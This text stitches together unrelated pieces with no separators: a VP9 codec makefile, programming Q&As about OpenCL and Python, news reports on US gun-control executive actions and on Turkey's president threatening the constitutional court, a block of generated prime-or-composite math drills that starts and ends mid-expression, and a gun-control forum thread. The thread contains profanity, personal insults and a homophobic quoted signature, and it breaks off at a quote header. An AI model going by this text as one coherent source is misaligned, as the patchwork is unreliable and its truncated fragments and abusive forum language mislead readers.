##
##  Copyright (c) 2010 The WebM project authors. All Rights Reserved.
##
##  Use of this source code is governed by a BSD-style license
##  that can be found in the LICENSE file in the root of the source
##  tree. An additional intellectual property rights grant can be found
##  in the file PATENTS.  All contributing project authors may
##  be found in the AUTHORS file in the root of the source tree.
##

VP9_COMMON_SRCS-yes += vp9_common.mk
VP9_COMMON_SRCS-yes += vp9_iface_common.h
VP9_COMMON_SRCS-yes += vp9_iface_common.c
VP9_COMMON_SRCS-yes += common/vp9_ppflags.h
VP9_COMMON_SRCS-yes += common/vp9_alloccommon.c
VP9_COMMON_SRCS-yes += common/vp9_blockd.c
# VP9_COMMON_SRCS-yes += common/vp9_debugmodes.c
VP9_COMMON_SRCS-yes += common/vp9_entropy.c
VP9_COMMON_SRCS-yes += common/vp9_entropymode.c
VP9_COMMON_SRCS-yes += common/vp9_entropymv.c
VP9_COMMON_SRCS-yes += common/vp9_frame_buffers.c
VP9_COMMON_SRCS-yes += common/vp9_frame_buffers.h
VP9_COMMON_SRCS-yes += common/vp9_idct.c
VP9_COMMON_SRCS-yes += common/vp9_alloccommon.h
VP9_COMMON_SRCS-yes += common/vp9_blockd.h
VP9_COMMON_SRCS-yes += common/vp9_common.h
VP9_COMMON_SRCS-yes += common/vp9_entropy.h
VP9_COMMON_SRCS-yes += common/vp9_entropymode.h
VP9_COMMON_SRCS-yes += common/vp9_entropymv.h
VP9_COMMON_SRCS-yes += common/vp9_enums.h
VP9_COMMON_SRCS-yes += common/vp9_filter.h
VP9_COMMON_SRCS-yes += common/vp9_filter.c
VP9_COMMON_SRCS-yes += common/vp9_idct.h
VP9_COMMON_SRCS-yes += common/vp9_loopfilter.h
VP9_COMMON_SRCS-yes += common/vp9_thread_common.h
VP9_COMMON_SRCS-yes += common/vp9_mv.h
VP9_COMMON_SRCS-yes += common/vp9_onyxc_int.h
VP9_COMMON_SRCS-yes += common/vp9_pred_common.h
VP9_COMMON_SRCS-yes += common/vp9_pred_common.c
VP9_COMMON_SRCS-yes += common/vp9_quant_common.h
VP9_COMMON_SRCS-yes += common/vp9_reconinter.h
VP9_COMMON_SRCS-yes += common/vp9_reconintra.h
VP9_COMMON_SRCS-yes += common/vp9_rtcd.c
VP9_COMMON_SRCS-yes += common/vp9_rtcd_defs.pl
VP9_COMMON_SRCS-yes += common/vp9_scale.h
VP9_COMMON_SRCS-yes += common/vp9_scale.c
VP9_COMMON_SRCS-yes += common/vp9_seg_common.h
VP9_COMMON_SRCS-yes += common/vp9_seg_common.c
VP9_COMMON_SRCS-yes += common/vp9_tile_common.h
VP9_COMMON_SRCS-yes += common/vp9_tile_common.c
VP9_COMMON_SRCS-yes += common/vp9_loopfilter.c
VP9_COMMON_SRCS-yes += common/vp9_thread_common.c
VP9_COMMON_SRCS-yes += common/vp9_mvref_common.c
VP9_COMMON_SRCS-yes += common/vp9_mvref_common.h
VP9_COMMON_SRCS-yes += common/vp9_quant_common.c
VP9_COMMON_SRCS-yes += common/vp9_reconinter.c
VP9_COMMON_SRCS-yes += common/vp9_reconintra.c
VP9_COMMON_SRCS-yes += common/vp9_common_data.c
VP9_COMMON_SRCS-yes += common/vp9_common_data.h
VP9_COMMON_SRCS-yes += common/vp9_scan.c
VP9_COMMON_SRCS-yes += common/vp9_scan.h

VP9_COMMON_SRCS-$(CONFIG_VP9_POSTPROC) += common/vp9_postproc.h
VP9_COMMON_SRCS-$(CONFIG_VP9_POSTPROC) += common/vp9_postproc.c
VP9_COMMON_SRCS-$(CONFIG_VP9_POSTPROC) += common/vp9_mfqe.h
VP9_COMMON_SRCS-$(CONFIG_VP9_POSTPROC) += common/vp9_mfqe.c

ifneq ($(CONFIG_VP9_HIGHBITDEPTH),yes)
VP9_COMMON_SRCS-$(HAVE_MSA)   += common/mips/msa/vp9_idct4x4_msa.c
VP9_COMMON_SRCS-$(HAVE_MSA)   += common/mips/msa/vp9_idct8x8_msa.c
VP9_COMMON_SRCS-$(HAVE_MSA)   += common/mips/msa/vp9_idct16x16_msa.c
endif  # !CONFIG_VP9_HIGHBITDEPTH

VP9_COMMON_SRCS-$(HAVE_SSE2)  += common/x86/vp9_idct_intrin_sse2.c
VP9_COMMON_SRCS-$(HAVE_VSX)   += common/ppc/vp9_idct_vsx.c
VP9_COMMON_SRCS-$(HAVE_NEON)  += common/arm/neon/vp9_iht4x4_add_neon.c
VP9_COMMON_SRCS-$(HAVE_NEON)  += common/arm/neon/vp9_iht8x8_add_neon.c
VP9_COMMON_SRCS-$(HAVE_NEON)  += common/arm/neon/vp9_iht16x16_add_neon.c
VP9_COMMON_SRCS-$(HAVE_NEON)  += common/arm/neon/vp9_iht_neon.h

ifeq ($(CONFIG_VP9_POSTPROC),yes)
VP9_COMMON_SRCS-$(HAVE_MSA)  += common/mips/msa/vp9_mfqe_msa.c
VP9_COMMON_SRCS-$(HAVE_SSE2) += common/x86/vp9_mfqe_sse2.asm
endif

ifneq ($(CONFIG_VP9_HIGHBITDEPTH),yes)
VP9_COMMON_SRCS-$(HAVE_DSPR2) += common/mips/dspr2/vp9_itrans4_dspr2.c
VP9_COMMON_SRCS-$(HAVE_DSPR2) += common/mips/dspr2/vp9_itrans8_dspr2.c
VP9_COMMON_SRCS-$(HAVE_DSPR2) += common/mips/dspr2/vp9_itrans16_dspr2.c
else
VP9_COMMON_SRCS-$(HAVE_NEON)   += common/arm/neon/vp9_highbd_iht4x4_add_neon.c
VP9_COMMON_SRCS-$(HAVE_NEON)   += common/arm/neon/vp9_highbd_iht8x8_add_neon.c
VP9_COMMON_SRCS-$(HAVE_NEON)   += common/arm/neon/vp9_highbd_iht16x16_add_neon.c
VP9_COMMON_SRCS-$(HAVE_SSE4_1) += common/x86/vp9_highbd_iht4x4_add_sse4.c
VP9_COMMON_SRCS-$(HAVE_SSE4_1) += common/x86/vp9_highbd_iht8x8_add_sse4.c
VP9_COMMON_SRCS-$(HAVE_SSE4_1) += common/x86/vp9_highbd_iht16x16_add_sse4.c
endif

$(eval $(call rtcd_h_template,vp9_rtcd,vp9/common/vp9_rtcd_defs.pl))


Q:

How to utilize OpenCL 1.1 on Mac OS X 10.6?

OpenCL 1.0 came with nVidia driver for Mac OS X 10.6.  I wonder if/how it is possible to update header files to utilize OpenCL 1.1 API.  Greatly appreciate in advance.

A:

Is not that easy, you need also a OpenCL 1.1 implementation + the CL 1.1 headers. Until OS X isn't updated to support OpenCL 1.1, you simply can't use it.


Q:

check if all tuples contain a specific value

I have a list of tuples representing playing cards: hand = [('A', '♣'), ('A', '♠'), ('A', '♦'), ('A', '♥'), ('K', '♠')] and I want to check if I have a flush.
I thought of using all(h[1] == '♠' for h in hand) and it seems to work well (False in this case, but True in others, where it should. Of course I'll need to check this for all 4 suits...), but I wanted to know if this is the right/best way to do so

A:

You could:
any(all(h[1] == suit for h in hand) for suit in ('♣','♠','♦','♥'))

Which isn't very efficient but very readable in my opinion or you could do as suggested by @ Ev. Kounis in the comments, which is much more efficient solution but not very readable. Since this game only has 52 cards per deck, 4 suits, 13 sets, and 5 cards per hand, the numbers aren't so large that they require any special treatment for efficiency, so I would go with this solution.


The White House on Thursday announced two executive actions that it says will close loopholes that allow the most dangerous types of firearms to fall into the wrong hands.

The new policies come as legislative action on gun control appears completely stalled in Congress after a compromise background check bill was defeated in the Senate in April.

The first regulation from the Bureau of Alcohol, Tobacco, Firearms and Explosives would require background checks for guns registered to a trust or corporation. That action is intended to close a loophole that allowed felons and others who are prohibited from owning a firearm from bypassing the background check process, the White House said.

The second order will prevent the re-importation into the United States of military-grade firearms that have been provided to foreign allies.

The new head of the ATF, Todd Jones, was sworn in Thursday morning by Vice President Joe Biden, who called the new measures "common sense."

"If Congress doesn't act we'll fight for a new Congress," he added. "It's that simple. But we're going to get this done."

The two executive actions add to a set of 23 proposals to prevent gun violence that the administration released in January.


ISTANBUL (Reuters) - Turkey’s President Tayyip Erdogan said on Friday a constitutional court ruling that led to the release of two detained newspaper editors was a step against the country and warned the court that repeating such actions could bring its very existence into question.

Slideshow ( 2 images )

The constitutional court ruled last month that the detention of Can Dundar and Erdem Gul, editor-in-chief and Ankara bureau chief of the opposition Cumhuriyet newspaper, was “unlawful” and had violated their individual freedom and safety.

The two, who had been arrested in November on charges of intentionally aiding an armed terrorist organisation and publishing material in violation of state security, were subsequently released.

“This institution, with the involvement of its president and some members, did not refrain from taking a decision that is against the country and its people, on a subject that is a concrete example of one of the biggest attacks against Turkey recently,” Erdogan told a rally in the southwestern city of Burdur.

“I hope the constitutional court would not again attempt such ways which will open its existence and legitimacy up for debate,” he said in a speech broadcast live on television.

Cumhuriyet published photos, videos and a report last May that it said showed intelligence officials transporting arms to Syria in trucks in 2014. Erdogan, who has cast the newspaper’s coverage as part of an attempt to undermine Turkey’s global standing, has said he will not forgive such reporting.

European leaders have warned Turkey, which aspires to membership of the European Union, over its record on freedom of expression, particularly since state-appointed administrators took over another opposition newspaper, Zaman, a week ago.

But the EU has faced criticism for compromising on that message after it struck a draft agreement with Ankara on Monday on curbing illegal migration, which could see Turkey receive 6 billion euros (£4.6 billion) in EU funding, visa-free travel an acceleration in long-stalled membership talks.

“I am obliged to ensure that the state organs work in harmony and that the constitution is executed,” Erdogan said.

“Whoever breaches the boundaries on this would find me against them. And if the constitutional court chooses such a path, I would not shy away from expressing my objections.”


 8/4) a composite number?
False
Let k be (1 - -3) + (-6 - -6). Suppose -k*m = -16, -4*z + 4*m - 1 = 3. Is (z + 1)*483/12 a composite number?
True
Let u = -86 + 89. Suppose 0 = 5*q + z - 1326, u*z = -3*q + 581 + 217. Is q prime?
False
Let i(b) = -2*b**3 + 8*b**2 + 2*b + 1. Let x(y) be the third derivative of -y**4/24 - 11*y**3/6 + 5*y**2. Let j be x(-5). Is i(j) prime?
True
Suppose v = 3*g + 301, 2*v - v = -2*g + 326. Let a = 1207 + v. Suppose w + 5*x = 394, -a = -3*w + 3*x - 251. Is w a composite number?
False
Let x = -415 - -1231. Suppose -906 = -6*y + x. Is y composite?
True
Suppose -5*b + 6050 = 3*y - 0*y, -2*b - 4*y + 2406 = 0. Is b a composite number?
False
Suppose -3*k + 4*o - 298 = -13, -4*o - 380 = 4*k. Is 8868/10 - 19/k composite?
False
Let o(p) = 9*p**2 - 19*p + 9. Suppose -5*d = 2*t - 23, -t + 3*t - 30 = 2*d. Is o(t) composite?
True
Let q(p) = -2*p**2 - p + 2. Let i be q(1). Let c be ((-9)/15 - i)*10. Is 537/4 + (-1)/c a composite number?
True
Suppose -k - 472 = k. Let y = 55 + -39. Is k*2/y*-2 a prime number?
True
Let y be 456/64 + 2/(-16). Suppose y*v = 8*v. Suppose -3*p + v*p + 921 = 0. Is p a composite number?
False
Suppose -2*u - 2*z + 1340 = 0, 2*z - 1735 - 278 = -3*u. Is u composite?
False
Is (-4)/(96/(-399352)) + (-8)/12 prime?
False
Let i(k) = -18*k + 15071. Is i(0) prime?
False
Suppose 5*w - 5*m = 17735, -5*w + 4*m - 4254 = -21993. Is w composite?
True
Suppose 0 = 9*d + 27*d - 154188. Is d prime?
True
Let z(n) be the first derivative of n**3 - 5*n**2 - 2*n - 4. Is z(11) prime?
True
Let v(z) = 3*z**3 + 5*z - 9. Is v(4) a prime number?
False
Let j(s) = s**2 + 17*s - 10. Let n(g) = -2*g**2 - 18*g + 10. Let u(y) = -3*j(y) - 2*n(y). Is u(-9) prime?
False
Let s be (0 + -12)/(-4) - -11. Let a be s/(-3)*(-9)/6. Suppose a*k + 28 = 11*k. Is k composite?
False
Let t = 13107 - 2204. Is t a prime number?
True
Suppose 4*l - 3*z - 1647 = 0, 321 = 3*l + 4*z - 908. Is l prime?
False
Let c(g) = 3*g**2 - 9*g + 37. Let a be c(22). Suppose b + 3*b - a = -5*i, 3*i = -2*b + 647. Is b a prime number?
False
Suppose -4*m + 6 = -6. Suppose -m*a - 17 = 1. Is ((-6)/(-4))/(a/(-1588)) prime?
True
Suppose -2*k = 2*k - 5*f - 94, -5*f - 31 = -k. Let b be k + 2 - (-1 + -1). Let n = b + 26. Is n a prime number?
False
Is ((-6)/6)/(1/(-6379)) prime?
True
Let v(a) = a**2 + a - 3. Let b be v(-3). Suppose -t = -0*t - l - 10, 0 = l + b. Is t a prime number?
True
Let j(y) = 2*y**2 + 10*y + 1. Let p(k) = -2*k**3 + 16*k**2 - 8. Let u be p(8). Is j(u) prime?
False
Suppose f = -122 + 121. Let q(d) = -17*d**2 + 3*d + 4. Let l be q(-3). Is l*f/4*2 composite?
False
Suppose -108*w - i = -106*w - 6815, 5*w + 3*i = 17038. Is w prime?
True
Let r = 132 - 33. Suppose -3*y = -x - 509 - r, -4 = -4*x. Suppose -y = -0*k - k. Is k composite?
True
Suppose 0 = 11*s - 6*s + 3*n - 20530, 12284 = 3*s - 5*n. Is s prime?
False
Suppose 0 = 4*o - 7*m + 3*m - 3832, -962 = -o + 2*m. Suppose -3*u + o = -132. Is u composite?
True
Suppose 5*a = -5*r + 40, 2*r - 3*a - 10 = 1. Let o(x) = 3 - r + 11 - 11*x. Is o(-5) composite?
True
Let s(l) = -1230*l - 17. Is s(-1) composite?
False
Let w be ((-274)/5)/(5/(-25)). Let y = 497 - w. Is y prime?
True
Suppose 4*z + 28685 = 5*i, -6*z + 5*z = -3*i + 17211. Is i a prime number?
True
Let l(z) = -z**3. Let p(v) = -5*v**3 - v**2 + 3*v + 1. Let b(k) = -4*l(k) + p(k). Let r be b(-2). Let m = r + 52. Is m a prime number?
False
Let i(d) = 6*d. Let n be i(-1). Let a = -74 + 83. Is (-224)/n + (-3)/a composite?
False
Let k(x) = -15*x**3 - 4*x**2 - 22*x + 2. Is k(-15) a composite number?
True
Suppose 0 = 3*a - k - 1131, -5*a + 0*k + k + 1885 = 0. Is a composite?
True
Let m(c) = -124*c**2 + c - 3. Let y(q) = 41*q**2 + 1. Let k(b) = 2*m(b) + 7*y(b). Let r be 3*2/(-2) - (-2 + 0). Is k(r) prime?
False
Let x(g) = 2*g - 26. Let r be x(14). Suppose -r*t + 6*t = 3284. Is t composite?
False
Let o(t) = -2*t + 12. Let a(w) = -w + 3. Let u(c) = -6*a(c) + o(c). Let h(p) = p**3 + 5*p**2 + 2*p + 3. Let i be h(-4). Is u(i) composite?
True
Let r(t) = 304*t + 31. Is r(9) prime?
True
Let b(j) = 6*j**3 - j**2 - j + 1. Let o be b(1). Suppose 0 = 4*i - o*i - 49. Is (i/(-2) + 2)*4 prime?
False
Let z be 1303/5 + 4/10. Suppose -3*x + 35 = 2*i - 7*i, -45 = -5*x + 5*i. Suppose 314 + z = x*b. Is b prime?
False
Let g = 10 + -7. Let y be 0/(-2)*9/(-18). Suppose y = 2*w - 6*w - b + 85, -g*b + 3 = 0. Is w prime?
False
Let o(b) = 179*b**2 + b + 1. Suppose -3*p + 5*z = 1, -5*p + 4*z = -0*z + 6. Let w be o(p). Suppose -w = -4*i + 1825. Is i composite?
True
Is (-1221752)/(-44) - 23/253 composite?
False
Let y(a) = 4*a**3 + 7*a**2 + a - 2. Let w(p) = -7*p**2 + 2*p**3 + 1 - 2*p - 2*p**3 + p**3 - 4*p**3. Let i(t) = -3*w(t) - 2*y(t). Is i(-5) composite?
False
Suppose -2*p = -3*p - 143. Let k = p - -295. Suppose 5*f - k = 3. Is f composite?
False
Suppose 3*w - 4*r = 49783 - 8390, w - 4*r = 13795. Is w a prime number?
True
Let q(d) = -674*d + 83. Is q(-10) a composite number?
False
Let j = 3749 - 2112. Is j prime?
True
Let g = -34 - -137. Suppose g = r - 0*r. Is r a composite number?
False
Let p(v) be the first derivative of -v**3/3 - v**2/2 + 2*v - 1. Let c be p(-2). Let d(j) = j**2 + 155. Is d(c) prime?
False
Let i(s) = 25*s**2 - 5*s - 3. Let m be i(3). Suppose 4*v + 2*n + m - 1789 = 0, -4*n + 794 = 2*v. Is v composite?
True
Let q(c) = c**3 + 10*c**2 + 6*c - 20. Let b be q(-9). Is 8*(-5)/(-140) + 2217/b a composite number?
False
Let z(f) = -2*f**2 - 4*f**3 - 5 - 2*f**3 - 4*f**2 + 3*f - 2*f. Let v be z(-5). Let u = v + -213. Is u prime?
False
Let z(t) = t**3 + 6*t**2 - 10*t - 4. Let c be z(-7). Let w(s) = -s**3 + 21*s**2 - 12*s - 41. Is w(c) a composite number?
False
Suppose -5*a + 75475 = -3*n, -9*n - 30190 = -2*a - 8*n. Is a prime?
False
Suppose 3*x = 4*y - 341885, -2 = -x - 5. Is y a composite number?
False
Let c(v) = v**3 + 5*v**2 - 4*v - 3. Let a be c(-6). Is 632 - (a + 20 - (3 + 1)) a composite number?
False
Let k = -4 + 4. Suppose 198 + 690 = 6*z. Suppose 5*h + u - 185 = -k*h, -4*h - u = -z. Is h a composite number?
False
Let r be (182/39)/((-2)/2403). Is r/(-4) + ((-20)/(-16))/5 composite?
True
Suppose f + 1788 = 5*f. Suppose 2*l - f = 991. Is l a composite number?
False
Let t be 2/7 + (-83862)/(-42). Suppose 3 = -2*c + c, 2*y - t = 5*c. Is y a composite number?
False
Suppose -y = y - 12. Suppose 5*c - y = 4. Suppose -c*q + 0*q = -574. Is q a composite number?
True
Let w = -45 - 6. Let t be (w/6 - -2)*-30. Suppose 2*p = 5*o - 41 + t, -3*o = -5*p + 385. Is p a prime number?
False
Suppose -s + 12 = -0*s - 3*d, 2*d = -4*s + 6. Suppose 83 = s*q + 4*z, 0 = 5*q - 0*q - 2*z - 147. Suppose q = o - 128. Is o prime?
True
Let y be 36320/11 + (-4)/(-22). Suppose 0 = -0*b + 3*b + 2*i - y, -3*i = b - 1096. Is (-6)/(-21) + b/14 a prime number?
True
Let g(a) = 36*a**3 + a**2 - 8*a - 1. Let z = 99 - 95. Is g(z) a prime number?
True
Let r(b) = -821*b**3 - b**2 + b + 1. Let s be ((-2)/(-3))/(2/(-3)). Let o be r(s). Is ((-6)/5)/((-8)/o) a composite number?
True
Suppose 1973 = 5*j - u - 1825, 4*u - 3048 = -4*j. Suppose j - 2004 = -b + h, h + 3726 = 3*b. Suppose -2*n = 2*n - 3*r - b, -619 = -2*n + 3*r. Is n composite?
False
Let x(a) = 2*a**2 - 1. Let u be x(2). Suppose -6*d - 3 = -u*d. Suppose -c = -d*c + 14. Is c a prime number?
True
Suppose -5*k - 5*v = -5745, -2*v = 7 - 3. Is k a prime number?
True
Is (-72866)/(-8)*(16 - 12) prime?
True
Suppose -36 = 7*g - 13*g. Suppose g*c - 7*c = -659. Is c a composite number?
False
Let w = 5 + -3. Suppose -3*v - w = -5. Is 3/v*140/12 a prime number?
False
Suppose -22*j = -7002 + 600. Is j a composite number?
True
Suppose -2*s + 5 = -3*q - 0*s, 0 = -3*s + 3. Let n be (q - -4) + -6 + 1. Is (-3)/6*n*223 a composite number?
False
Suppose 0 = -k - 3*k + 26720. Is k/50 - 3/5 a composite number?
True
Let r(k) = -k**3 + 2971. Is r(0) composite?
False
Suppose 3*f + 5*a - 810 - 576 = 0, 462 = f - a. Suppose -3*y + f = -5*d, 3*y - 441 = -4*d + 48. Is y a prime number?
False
Suppose -3*h = 2*i + 505, 3*i - 2*i = -3*h - 257. Let o = 217 - 332. Let w = o - i. Is w composite?
True
Suppose 3*w - 7*w = 0, 2*f = 2*w + 1814. Is f prime?
True
Suppose -5*u = -4*z - 139965, 0 = -u + z + 8556 + 19438. Is u prime?
False
Suppose -2*n + 28055 - 5361 = 0. Is n a prime number?
False
Is (-46)/(-69) - 87110/(


^ dude, how thick are you? even with one million gun owners, that's fucking ridiculous. The Taliban may number 35,000 but it's all in one CRAZY CONCENTRATED AREA. The US is fucking huge. 1 million spread across 3000 miles, versus, let's say, the average state size that is the Taliban coverage area, is ludicrous.

i'm drunk as fuck right now and won't bothered to look up how big their coverage is, versus the average state size, but I guaran-fucking-tee you that the US has less "militant gun owners" in one concentrated area than them. Now, if those one million people were all located in, let's say, Ohio, and all had the same agenda AND political background, it would pose a threat.

...and they were actually willing to die for their firearms even seeing their neighbors being bombed, machinegunned, or burned to death, sure, but they probably wouldn't after the first 500 were killed for their guns on TV. Afghans, on the other hand, are not bothered by the prospect of death.

This analogy is stupid. No matter how hard these little chartonhestons claim to die for their guns, there are probably a couple of hundreds of those willing to go all the way if the going gets tough, instead of nearly 100% of the Taliban.

PhilosophicalFrog, one million divided into 50 states would average 20 000 American Taliban per state, not that far away from the quoted Taliban concentration. The problem is that the number of such gun nuts is probably an overestimate with a factor of something between 1000 and 10 000.

PhilosophicalFrog, one million divided into 50 states would average 20 000 American Taliban per state, not that far away from the quoted Taliban concentration. The problem is that the number of such gun nuts is probably an overestimate with a factor of something between 1000 and 10 000.

Fair enough on the numbers, Nappy. So I'll agree with you there. But, as you say, to give the average American "gun nut" half the fighting willpower of a Taliban soldier is philosophically bunk, let alone the fact that his statistics seem largely made up.

..The powers that be are not concerned about the population having guns so long as the prevailing culture keeps people atomized and impotent...

the powers that be dont want to speak of the elephant in the room that is the true core of this debate - pharmaceuticals and mental health.

I think mental health is a part of it but what are pharmaceuticals going to do about it? I wouldn't trust someone taking drugs for their condition with a gun in their hands. But I do think that a mental health/background check for gun ownership is a totally rational thing.

Just about to post that. Really embarrassing that he acted that way especially towards the end. I seriously cannot get people like him. Cannot have a proper debate and yet bring up irrelevant factoids that are generally useless. (Cannot stand people who live behind statistics)

Piers has been known to take up such confrontations and I think he made a really smart move by getting Jones on his show. In a way, it makes him the 'bigger' person compared to Alex Jones. And Jones certainly didn't help himself much by spewing most of those so called FBI statistics, some of which were not so relevant.

Verdict - Jones had 100k odd people sign that petition to deport Piers, whereas Piers exposed Jones for the idiot that he is to millions and millions of viewers on the tv (and now on the internet). No brainer really. I am not particularly fond of Piers and his show, but good for him.

The argument that I cannot understand by second amendment activists is that we have guns to protect ourselves from the government not for fishing or hunting (because you had to fish/hunt back then to live). However they are saying "The government is stockpiling weapons and are trying to take them away from us". I think the US government has been stockpiling since the cold war and even if the US government didn't stockpile weapons, I don't think it would take much to take out the untrained and poorly equipped US citizen. You can have all the semi-automatic rifles you want but that isn't going to stop a tank.

Those who oppose stricter gun control are quick to point out that when harsher gun laws are set in place across then gun-related crimes increase. But America already has much higher rates of gun related homicides and suicides than other developed countries. I'm wondering that the reason gun crimes go up is because we already have such a high gun ownership rate here than any other developed countries. For example, when making DC a gun free zone, it makes law-abiding citizens not carry guns while criminals still have easy access to guns and carry them into these zones regardless of the laws. While in say, England, criminals have a much harder time even obtaining guns because there aren't so many in houses or for sale in stores.

That is to say, making stricter gun laws NOW makes crime go up, but in countries where there aren't guns laying around it's perfectly fine cause there's no access to them anyway. Just a thought.

_________________"If I could stop a person from raping a child I would. That's the difference between me and your god."

I just want to state that Piers Morgan is British and his view towards guns is probably very influenced by that government's stance on gun control and gun rights.

Alex Jones came off like an idiot in this video.

Alex Jones comes off like an idiot everywhere. Him shouting at Piers Morgan and then challenging Morgan to a brawl shines more light on his universal idiocy and that he's a monumental piece of trash. You don't win a debate by screaming at your opponent for ten minutes and not letting them respond, silly Jonesy.

_________________

Ismetal wrote:

GuntherTheUndying IS THE GAY NUMBER 1, HE DOESNT LIKE TO READ THE TRUTH, SO I THINK THIS PAGE IS FOR GAYS WHO WANTS TO READ MESSAGES LIKE "I LOVE MY BAND", "THEY ARE MY LOVE"

Those who oppose stricter gun control are quick to point out that when harsher gun laws are set in place across then gun-related crimes increase. But America already has much higher rates of gun related homicides and suicides than other developed countries. I'm wondering that the reason gun crimes go up is because we already have such a high gun ownership rate here than any other developed countries. For example, when making DC a gun free zone, it makes law-abiding citizens not carry guns while criminals still have easy access to guns and carry them into these zones regardless of the laws. While in say, England, criminals have a much harder time even obtaining guns because there aren't so many in houses or for sale in stores.

That is to say, making stricter gun laws NOW makes crime go up, but in countries where there aren't guns laying around it's perfectly fine cause there's no access to them anyway. Just a thought.

Outlawing a legitimate means to protect oneself such as carrying a concealed weapon is not an effective solution when there are more guns than people in the country, and illegal handguns are very easy for criminals to acquire. Certainly one can't equate what works for England to what could work in the US - the UK doesn't have a problem like the US-Mexico border, where various estimates guess that between 20 and 30 million pounds of marijuana are smuggled across every year - any teenager in any town in America can acquire marijuana with ease, they can't be far from illegally acquiring a gun. A significant part of sustaining American gun culture is a desire to protect oneself from the widespread crime in the country - violence less often reaches the suburbs, but is very common in urban/poor areas, where law enforcement are unable to effectively handle it. It's a violent culture, that's why our solutions to these problems are the "war on drugs" and the "war on poverty". Not "a helping hand to those in need", we have a war on poverty - what are we going to do, shoot it? These problems both contribute to gun culture as well as violent crime, people want their guns to protect themselves where the government can't.

Unfortunately, it seems that several of the most notable spokesmen for the second amendment these days are raving lunatics, and they don't exactly appeal to reasoning, and they also bundle their views on guns with religious zealotry.

Regarding the DC handgun band, look at crime + murder rates in DC - it went into effect in late 1975 and was struck down in 2008. Crime rates fluctuated and even skyrocketed at points while it was in effect - factors other than the legality of one type of guns were much more significant. http://www.disastercenter.com/crime/dccrime.htm

I recently saw a youtube video which was set out to prove Piers Morgan wrong on his gun violence facts that he has been repeatedly bringing up. I'm not a huge fan of Piers and I think most of his facts are skewed, but part of this video really bothered me. Anyway, the people in the video found statistics that the United States is ranked 28th in the world in gun murders, and were somehow proud of that number. It was like proving to Piers that the US wasn't number 1 somehow made it better that we are ranked 28th. Regardless of the facts, I think it is pathetic that we are fine being 28th on that list. In a country that is supposedly one of the most developed, I think we should be much further down the list than 28th. I wouldn't say I myself know how we can change that, but sitting back and acting like 28th isn't all that bad is moronic.

I don't think Piers Morgan has said the US has the highest gun murder rate but a very large one at about 12,000 people. In order to change it in my opinion we need to change our culture and how we deal with gangs, drug dealers, poverty, etc. since this plays a huge part in it. How we fix this is beyond me since we would have to destroy the demand rather then cut off the supply (which so many people do not understand). We are just a violent nation and I don't see much change happening in the next few years as far as murders goes.

Regarding the DC handgun band, look at crime + murder rates in DC - it went into effect in late 1975 and was struck down in 2008. Crime rates fluctuated and even skyrocketed at points while it was in effect - factors other than the legality of one type of guns were much more significant. http://www.disastercenter.com/crime/dccrime.htm

If you'll reread my post I was far from stating we should just ban all guns. I felt it was nonpartisan. And I was indeed referring to the DC handgun ban, acknowledging its results, leading to my point.

What I'm mostly stating is that for countries with much stricter gun control it is perfectly fine for them to have strict gun control, since guns are naturally much more difficult to acquire. Banning guns in a country like the United States is harder because guns are simply everywhere, and still fairly easy to acquire legally. If the ban somehow made a ton of guns magically vanish across the country, that would be a different story, but enforcing magic is pretty difficult to legislate.

_________________"If I could stop a person from raping a child I would. That's the difference between me and your god."

You don't win a debate by screaming at your opponent for ten minutes and not letting them respond, silly Jonesy.

Right. You'd think he'd have figured that out by now. Seems he just wants to rattle cages as opposed to .. I dunno .. actually being productive/teaching people something other than reasons to either get pissed or piss themselves.

Alex Jones comes off like an idiot everywhere. Him shouting at Piers Morgan and then challenging Morgan to a brawl shines more light on his universal idiocy and that he's a monumental piece of trash. You don't win a debate by screaming at your opponent for ten minutes and not letting them respond, silly Jonesy.

Alex Jones isn't trying to win a debate, he's trying to mobilize the lunatic fringe by being the human equivalent of a garbage can fire.

Alex Jones comes off like an idiot everywhere. Him shouting at Piers Morgan and then challenging Morgan to a brawl shines more light on his universal idiocy and that he's a monumental piece of trash. You don't win a debate by screaming at your opponent for ten minutes and not letting them respond, silly Jonesy.

Alex Jones isn't trying to win a debate, he's trying to mobilize the lunatic fringe by being the human equivalent of a garbage can fire.

Well said Zod. No one gains validity by metaphorically lighting themselves on fire on TV... Jones should have taken a lesson from the Tibetans and physically lit himself on fire to validate his point of view.

"A well regulated militia being necessary to the security of a free state, the right of the people to keep and bear arms shall not be infringed."

WE the people are the well regulated militia. The framers believed that the last check and balance to the government, as well as to fight invasion or insurgency, was to keep the people armed. There are more gun laws in effect than there were 40 years ago but gun violence is up. No ban on guns will keep criminals from getting and using guns....since they usually use illegally acquired weapons anyway.

And....around the same time as the Newtown shooting, a guy went into a school in China and hacked up some students. Shall we ban kitchen knives unless you have a culinary degree?

"A well regulated militia being necessary to the security of a free state, the right of the people to keep and bear arms shall not be infringed."

WE the people are the well regulated militia. The framers believed that the last check and balance to the government, as well as to fight invasion or insurgency, was to keep the people armed. There are more gun laws in effect than there were 40 years ago but gun violence is up. No ban on guns will keep criminals from getting and using guns....since they usually use illegally acquired weapons anyway.

And....around the same time as the Newtown shooting, a guy went into a school in China and hacked up some students. Shall we ban kitchen knives unless you have a culinary degree?

Kitchen knives weren't designed with the primary purpose to maim and kill. Guns and assault weapons are.

_________________

Zodijackyl wrote:

Civil has very strong and poorly substantiated opinions about anyone wielding jugs.

No ban on guns will keep criminals from getting and using guns....since they usually use illegally acquired weapons anyway.

This is an ideological mantra that people keep repeating, with no real basis on any real, credible argument. I wrote earlier on this thread that a change would take a decade or two, but certainly a decision and laws meant to reduce the numbers of guns would have an effect in the longer run. It's just a matter of choice and politics.

mjollnir wrote:

Atrocious_Mutilation wrote:

Kitchen knives weren't designed with the primary purpose to maim and kill. Guns and assault weapons are.

That's a lame argument. PEOPLE kill...not the gun.

Of course.

But most people will find killing a person much harder with a knife than with a gun, both for physical reasons AND for psychological reasons. And, as AM pointed out, the only purpose of guns is to kill and maim, while knives are actually useful for many things, such as cooking and woodworking. Completely banning guns would have little negative effects on the society, while banning knives would stop many industries and activities. Equating the two in this respect is a lame argument, not what AM wrote.

This is an ideological mantra that people keep repeating, with no real basis on any real, credible argument. I wrote earlier on this thread that a change would take a decade or two, but certainly a decision and laws meant to reduce the numbers of guns would have an effect in the longer run. It's just a matter of choice and politics.

Actually it has much credibility. As said above, there was an absolute ban on ANY firearm within the city of Washington DC for about 3 decades and in that 3 decades the city became the most violent place in the country!

Atrocious_Mutilation wrote:

